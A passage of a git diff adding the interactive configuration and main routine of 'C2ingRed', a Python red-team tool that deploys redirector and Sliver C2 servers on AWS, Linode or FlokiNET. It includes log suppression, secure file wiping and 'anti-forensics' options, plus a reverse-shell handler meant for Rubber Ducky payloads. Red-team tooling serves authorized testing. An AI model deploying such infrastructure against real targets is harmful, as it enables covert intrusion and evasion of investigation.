os.chmod(f"{key_path}.pub", 0o644) + return key_path + except subprocess.CalledProcessError as e: + print(f"[-] Error: Failed to generate SSH key: {e}") + return None + +def interactive_config(): + """Interactively collect configuration""" + config = {} + + # Initialize deployment mode flags (these were missing) + config['redirector_only'] = False + config['c2_only'] = False + + # Select provider + print("\n=== Provider Selection ===") + print("Available providers:") + for i, provider in enumerate(PROVIDERS): + print(f" {i+1}. {provider}") + + while True: + try: + choice = int(input("\nSelect provider (1-3): ")) - 1 + if 0 <= choice < len(PROVIDERS): + config['provider'] = PROVIDERS[choice] + break + else: + print("Invalid choice. Please enter a number between 1 and 3.") + except ValueError: + print("Invalid input. Please enter a number.") + + # Provider-specific configuration + if config['provider'] == 'aws': + print("\n=== AWS Configuration ===") + + # Try to load defaults from vars.yaml + aws_vars = load_vars_file('AWS') + default_key = aws_vars.get('aws_access_key', '') + default_secret = aws_vars.get('aws_secret_key', '') + + config['aws_key'] = input(f"AWS Access Key [{default_key[:4]}{'*'*(len(default_key)-4) if default_key else ''}]: ") or default_key + config['aws_secret'] = input(f"AWS Secret Key [{default_secret[:4]}{'*'*(len(default_secret)-4) if default_secret else ''}]: ") or default_secret + + # Region choices + region_choices = aws_vars.get('aws_region_choices', [DEFAULT_REGION['aws']]) + print("\nAvailable AWS regions:") + for i, region in enumerate(region_choices): + print(f" {i+1}. {region}") + + use_random = input("\nUse random region? (Y/n): ").lower() != 'n' + if use_random: + config['aws_region'] = None # Will be randomized later + else: + while True: + try: + region_choice = int(input(f"Select region (1-{len(region_choices)}): ")) - 1 + if 0 <= region_choice < len(region_choices): + config['aws_region'] = region_choices[region_choice] + break + except ValueError: + pass + print(f"Invalid choice. Please enter a number between 1 and {len(region_choices)}.") + + # Ask for architecture type (if not already set) + if not config.get('redirector_only') and not config.get('c2_only'): + print("\nDeployment architecture:") + print(" 1. Combined (single server for both redirector and C2)") + print(" 2. Split (separate servers for redirector and C2)") + arch_choice = input("\nSelect architecture (1-2, default: 2): ") or "2" + if arch_choice == "1": + config['redirector_only'] = False + config['c2_only'] = False + else: + # For split architecture, ask which components to deploy + comp_choice = input("\nDeploy (1: Both components, 2: Redirector only, 3: C2 only, default: 1): ") or "1" + if comp_choice == "2": + config['redirector_only'] = True + config['c2_only'] = False + elif comp_choice == "3": + config['redirector_only'] = False + config['c2_only'] = True + else: + config['redirector_only'] = False + config['c2_only'] = False + + elif config['provider'] == 'linode': + print("\n=== Linode Configuration ===") + + # Try to load defaults from vars.yaml + linode_vars = load_vars_file('Linode') + default_token = linode_vars.get('linode_token', '') + + config['linode_token'] = input(f"Linode API Token [{default_token[:4]}{'*'*(len(default_token)-4) if default_token else ''}]: ") or default_token + + # Region choices + region_choices = linode_vars.get('region_choices', [DEFAULT_REGION['linode']]) + print("\nAvailable Linode regions:") + for i, region in enumerate(region_choices): + print(f" {i+1}. {region}") + + use_random = input("\nUse random region? (Y/n): ").lower() != 'n' + if use_random: + config['linode_region'] = None # Will be randomized later + else: + while True: + try: + region_choice = int(input(f"Select region (1-{len(region_choices)}): ")) - 1 + if 0 <= region_choice < len(region_choices): + config['linode_region'] = region_choices[region_choice] + break + except ValueError: + pass + print(f"Invalid choice. Please enter a number between 1 and {len(region_choices)}.") + + # Ask for architecture type (if not already set) + if not config.get('redirector_only') and not config.get('c2_only'): + print("\nDeployment architecture:") + print(" 1. Combined (single server for both redirector and C2)") + print(" 2. Split (separate servers for redirector and C2)") + arch_choice = input("\nSelect architecture (1-2, default: 2): ") or "2" + if arch_choice == "1": + config['redirector_only'] = False + config['c2_only'] = False + else: + # For split architecture, ask which components to deploy + comp_choice = input("\nDeploy (1: Both components, 2: Redirector only, 3: C2 only, default: 1): ") or "1" + if comp_choice == "2": + config['redirector_only'] = True + config['c2_only'] = False + elif comp_choice == "3": + config['redirector_only'] = False + config['c2_only'] = True + else: + config['redirector_only'] = False + config['c2_only'] = False + + elif config['provider'] == 'flokinet': + print("\n=== FlokiNET Configuration ===") + print("Note: FlokiNET requires manual server setup due to their privacy focus") + + # Try to load defaults from vars.yaml + flokinet_vars = load_vars_file('FlokiNET') + + # Deployment mode + print("\nDeployment mode:") + print(" 1. Full deployment (redirector and C2)") + print(" 2. Redirector only") + print(" 3. C2 server only") + + while True: + try: + mode = int(input("\nSelect deployment mode (1-3): ")) + if 1 <= mode <= 3: + break + else: + print("Invalid choice. Please enter a number between 1 and 3.") + except ValueError: + print("Invalid input. Please enter a number.") + + # Set deployment flags + if mode == 2: + config['redirector_only'] = True + config['c2_only'] = False + config['flokinet_redirector_ip'] = input("FlokiNET Redirector IP: ") + elif mode == 3: + config['redirector_only'] = False + config['c2_only'] = True + config['flokinet_c2_ip'] = input("FlokiNET C2 Server IP: ") + + # Need redirector IP for configuration + config['flokinet_redirector_ip'] = input("Existing Redirector IP (for configuration): ") + else: + config['redirector_only'] = False + config['c2_only'] = False + config['flokinet_redirector_ip'] = input("FlokiNET Redirector IP: ") + config['flokinet_c2_ip'] = input("FlokiNET C2 Server IP: ") + + # General configuration + print("\n=== General Configuration ===") + + # SSH key and user + default_ssh_user = config.get('ssh_user', 'root') + config['ssh_user'] = input(f"SSH Username (default: {default_ssh_user}): ") or default_ssh_user + + default_ssh_key = '~/.ssh/id_rsa' + if config['provider'] == 'aws': + ssh_key = input(f"Path to SSH private key (leave empty to generate): ") + else: + ssh_key = input(f"Path to SSH private key (default: {default_ssh_key}): ") or default_ssh_key + + if not ssh_key and config['provider'] == 'aws': + ssh_key = generate_ssh_key() + config['ssh_key'] = ssh_key + + # Domain configuration + default_domain = 'example.com' + config['domain'] = input(f"Domain name for infrastructure (default: {default_domain}): ") or default_domain + + if config['domain'] != default_domain: + default_email = f"admin@{config['domain']}" + config['letsencrypt_email'] = input(f"Email for Let's Encrypt certificate (default: {default_email}): ") or default_email + else: + config['letsencrypt_email'] = 'admin@example.com' + + # OPSEC settings + print("\n=== OPSEC Configuration ===") + disable_history = input("Disable command history? (Y/n): ").lower() or "y" + config['disable_history'] = disable_history.startswith('y') + + secure_memory = input("Enable secure memory settings? (Y/n): ").lower() or "y" + config['secure_memory'] = secure_memory.startswith('y') + + zero_logs = input("Enable zero-logs configuration? (Y/n): ").lower() or "y" + config['zero_logs'] = zero_logs.startswith('y') + + return config + +def cleanup_sensitive_files(config): + """Clean up sensitive files after deployment for better OPSEC""" + # Files to potentially clean up (prompt user first) + sensitive_files = [] + + # Add config file + if os.path.exists('config.yml'): + sensitive_files.append('config.yml') + + # Add log files + for f in os.listdir('.'): + if f.startswith('deployment_') and f.endswith('.log'): + sensitive_files.append(f) + + # Add inventory files + for f in os.listdir('.'): + if f.startswith('inventory_') and f.endswith('.yml'): + sensitive_files.append(f) + + # If there are sensitive files and user wants to clean up + if sensitive_files: + print("\n[!] The following sensitive files remain from deployment:") + for f in sensitive_files: + print(f" - {f}") + + cleanup = input("\n[?] Would you like to securely delete these files? (y/N): ").lower() + if cleanup.startswith('y'): + for f in sensitive_files: + try: + # Secure overwrite then delete + with open(f, 'wb') as file: + # Overwrite with random data 3 times + for _ in range(3): + file.write(os.urandom(os.path.getsize(f))) + file.flush() + os.fsync(file.fileno()) + + # Finally remove + os.remove(f) + print(f"[+] Securely deleted: {f}") + except Exception as e: + print(f"[!] Error deleting {f}: {e}") + + # Remind about SSH keys + if config.get('ssh_key') and os.path.exists(config['ssh_key']): + print(f"\n[!] Remember to secure or remove your SSH key after use: {config['ssh_key']}") + secure_key = input("[?] Would you like to secure this SSH key now? (y/N): ").lower() + if secure_key.startswith('y'): + try: + # Rename the SSH key with random suffix + key_dir = os.path.dirname(config['ssh_key']) + key_base = os.path.basename(config['ssh_key']) + timestamp = datetime.now().strftime('%Y%m%d%H%M%S') + new_key_path = os.path.join(key_dir, f"{key_base}.{timestamp}.bak") + + # Move the key and public key + shutil.move(config['ssh_key'], new_key_path) + if os.path.exists(f"{config['ssh_key']}.pub"): + shutil.move(f"{config['ssh_key']}.pub", f"{new_key_path}.pub") + + # Set permissions + os.chmod(new_key_path, 0o400) # Read-only by owner + if os.path.exists(f"{new_key_path}.pub"): + os.chmod(f"{new_key_path}.pub", 0o400) + + print(f"[+] SSH key secured and renamed to: {new_key_path}") + print(f"[+] This key is now read-only (mode 0400)") + except Exception as e: + print(f"[!] Error securing SSH key: {e}") + + return True + +def save_config(config): + """Save configuration to config.yml file""" + # Make a copy to avoid modifying the original + config_to_save = config.copy() + + # Remove ALL sensitive data before saving + sensitive_keys = [ + 'aws_key', 'aws_secret', 'linode_token', + 'smtp_auth_pass', 'ssh_key', 'ssh_key_path', + 'flokinet_redirector_ip', 'flokinet_c2_ip', + 'c2_ip', 'redirector_ip' + ] + + for key in sensitive_keys: + if key in config_to_save: + # Replace with asterisks, preserving first 2 chars for reference + value = config_to_save[key] + if isinstance(value, str) and len(value) > 4: + config_to_save[key] = f"{value[:2]}{'*' * (len(value) - 2)}" + else: + config_to_save[key] = '***' + + # Use a more secure way to write sensitive files + # Ensure the file doesn't exist first to prevent race conditions + if os.path.exists('config.yml'): + os.remove('config.yml') + + # Create with restricted permissions + with open('config.yml', 'w') as f: + os.chmod('config.yml', 0o600) # Readable only by owner + yaml.dump(config_to_save, f, default_flow_style=False) + + print(f"[+] Configuration saved to config.yml (mode 0600)") + + # Create deployment log with timestamp but with minimal sensitive info + log_file = f"deployment_{datetime.now().strftime('%Y%m%d_%H%M%S')}.log" + + # Create with restricted permissions + with open(log_file, 'w') as f: + os.chmod(log_file, 0o600) # Readable only by owner + + f.write(f"# C2ingRed Deployment Log\n") + f.write(f"# Generated: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n\n") + + # Log general info + f.write(f"Provider: {config['provider']}\n") + + # Log provider-specific info without exposing sensitive details + if config['provider'] == 'aws': + f.write(f"AWS Region: {config.get('aws_region', 'random')}\n") + f.write(f"Instance Type: {config.get('size', 'default')}\n") + f.write(f"Redirector Name: {config['redirector_name']}\n") + f.write(f"C2 Name: {config['c2_name']}\n") + elif config['provider'] == 'linode': + f.write(f"Linode Region: {config.get('linode_region', 'random')}\n") + f.write(f"Plan: {config.get('size', 'default')}\n") + f.write(f"Redirector Name: {config['redirector_name']}\n") + f.write(f"C2 Name: {config['c2_name']}\n") + elif config['provider'] == 'flokinet': + # IPs are sensitive for FlokiNET, only log region + f.write(f"FlokiNET Region: {config.get('region', 'anonymous')}\n") + # Note that we're not logging IPs directly + + # Log domain info if provided + if config.get('domain'): + f.write(f"Domain: {config['domain']}\n") + if not config.get('c2_only'): + f.write(f"Redirector Domain: cdn.{config['domain']}\n") + if not config.get('redirector_only'): + f.write(f"C2 Domain: mail.{config['domain']}\n") + + # Log OPSEC settings + f.write(f"\nOPSEC Settings:\n") + f.write(f"- Zero-logs: {'Enabled' if config.get('zero_logs') else 'Disabled'}\n") + f.write(f"- Secure memory: {'Enabled' if config.get('secure_memory') else 'Disabled'}\n") + f.write(f"- History disabled: {'Yes' if config.get('disable_history') else 'No'}\n") + f.write(f"- Non-standard SSH port: {config.get('ssh_port', 'Default')}\n") + + print(f"[+] Deployment log saved to {log_file} (mode 0600)") + +def main(): + """Main function""" + print("========================================") + print("C2ingRed - Red Team Infrastructure Setup") + print("========================================") + + args = setup_argparse() + + # Interactive mode if no arguments provided + if len(sys.argv) == 1: + config = interactive_config() + else: + config = load_config(args) + + # Validate configuration + if not validate_config(config): + return + + # Select region + select_region(config) + + # Ensure provider files exist + if not ensure_provider_files_exist(config): + proceed = input("\n[?] Continue despite missing files? (y/N): ").lower() + if not proceed.startswith('y'): + print("[-] Deployment aborted.") + return + + # Save configuration + save_config(config) + + success = False + try: + # Deploy infrastructure based on provider + if config['provider'] == 'aws': + success = deploy_aws(config) + elif config['provider'] == 'linode': + success = deploy_linode(config) + elif config['provider'] == 'flokinet': + success = deploy_flokinet(config) + else: + print(f"[-] Error: Unsupported provider: {config['provider']}") + return + finally: + # OPSEC: Always offer to clean up sensitive files, regardless of success + if not config.get('debug'): # Skip cleanup in debug mode + cleanup_sensitive_files(config) + + if success: + print("\n[+] Deployment completed successfully!") + if config['provider'] != 'flokinet': + print("\n[+] Your infrastructure is now ready to use!") + print(f"[+] Redirector: {config['redirector_name']}") + print(f"[+] C2 Server: {config['c2_name']}") + else: + print("\n[+] Your FlokiNET infrastructure is now configured with:") + print(f"[+] Zero-logs configuration") + print(f"[+] Automated shell handler") + print(f"[+] Sliver C2 framework") + print(f"[+] Anti-forensics capabilities") + print("\n[+] To use the automated shell handler, configure your Rubber Ducky with:") + print(f"[+] Redirector IP: {config['flokinet_redirector_ip']}") + if config.get('domain'): + print(f"[+] or Domain: cdn.{config['domain']}") + print(f"[+] Port: {config.get('shell_handler_port', 4444)} (shell handler port)") + + # Remind about DNS configuration + if config.get('domain'): + print("\n[!] Don't forget to configure your DNS records:") + if not config.get('c2_only'): + print(f"[!] - Add A record for cdn.{config['domain']} pointing to {config['flokinet_redirector_ip']}") + if not config.get('redirector_only'): + print(f"[!] - Add A record for mail.{config['domain']} pointing to {config['flokinet_c2_ip']}") + else: + print("\n[-] Deployment failed.") + + # Display non-standard SSH port warning if applicable + if success and config.get('ssh_port') != 22: + print(f"\n[!] IMPORTANT: Non-standard SSH port {config.get('ssh_port')} is being used") + print(f"[!] Future SSH connections will require: ssh -p {config.get('ssh_port')} user@host") + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..eaaff9e --- /dev/null +++ b/requirements.txt @@ -0,0 +1,6 @@ +ansible +linode_api4 +boto3 +botocore +awscli +passlib \ No newline at end of file